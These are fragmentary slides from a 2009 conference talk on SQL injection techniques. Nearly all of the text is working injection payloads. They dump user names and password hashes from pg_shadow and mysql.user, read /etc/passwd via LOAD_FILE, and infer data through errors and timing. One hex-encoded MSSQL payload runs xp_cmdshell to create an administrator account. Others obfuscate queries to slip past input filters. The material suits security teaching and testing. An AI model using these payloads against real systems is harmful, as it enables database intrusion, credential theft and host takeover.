SQL Injection: Not Only AND 1 1: Bernardo Damele Assumpção Guimarães
SQL Injection: Not Only AND 1 1: Bernardo Damele Assumpção Guimarães
Proud father
SQL dialect
Two techniques:
Specific variables
Specific functions static output comparison
Three techniques:
On MySQL:
On PostgreSQL:
AND 82::int=82
Example:
Example:
The original SELECT statement has only one
column
SELECT col FROM tbl WHERE id=1
↓
UNION ALL SELECT,
CHR(109)||CHR(107)||CHR(100)||CHR(83)||CHR
(68)||CHR(111)||COALESCE(CAST(usename AS
CHARACTER(10000)),
CHR(32))||CHR(80)||CHR(121)||CHR(80)||CHR(
121)||CHR(66)||CHR(109)||COALESCE(CAST(pas
swd AS CHARACTER(10000)),
CHR(32))||CHR(104)||CHR(108)||CHR(74)||CHR
(103)||CHR(107)||CHR(90), FROM pg_shadow--
↓
SELECT … WHERE id=1 AND 3=2 UNION ALL SELECT
CONCAT(CHAR(100,84,71,69,87,98),IFNULL(CAST(db
AS CHAR(10000)), CHAR(32)),
CHAR(65,83,118,81,87,116)) FROM mysql.db LIMIT
Nth, 1# AND 6972=6972
↓
SELECT GROUP_CONCAT(CONCAT(user, 'RaND',
password)) FROM mysql.user
2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 23
Getting a SQL shell
↓
SELECT id, name FROM users GROUP BY 1,
(SELECT (CASE WHEN (condition) THEN 1 ELSE
1*(SELECT table_name FROM
information_schema.tables) END))
↓
SELECT id, name FROM users ORDER BY 1,
(SELECT (CASE WHEN (condition) THEN 1 ELSE
1/0 END))
↓
SELECT id, name FROM users LIMIT 0, 1
UNION ALL SELECT (CASE WHEN (condition)
THEN 1 ELSE 1*(SELECT table_name FROM
information_schema.tables) END), NULL
Original statement:
"SELECT name, surname FROM users WHERE
name='" . $_GET['name'] . "'"
Example on MySQL:
LOAD_FILE('/etc/passwd')
↓
LOAD_FILE(CHAR(47,101,116,99,47,112,97,
115,115,119,100))
or
LOAD_FILE(0x2f6574632f706173737764)
SELECT pg_sleep(3)
↓
S%ELEC%T %p%g_sle%ep(%3)
↓
DECLARE @rand varchar(8000) SET @rand =
0x65786563206d61737465722e2e78705f636d6473
68656c6c20274e45542055534552206d7975736572
206d7970617373202f4144442026204e4554204c4f
43414c47524f55502041646d696e6973747261746f
7273206d7975736572202f41444427; EXEC
(@rand)
Example on MySQL:
↓
SELECT/*R_aNd*/user/*rA.Nd*/,/*Ran|D
*/password/*r+anD*/FROM/*rAn,D*/mysq
l.user
↓
SeLEcT BaNneR FroM v$vERsIon WhERe
ROwNUm=1
Example on PostgreSQL:
↓
%53E%4c%45%43T%20%73%63h%65%6d%61%6e
a%6de%20%46%52O%4d%20%70g%5f%74a%62%
6ce%73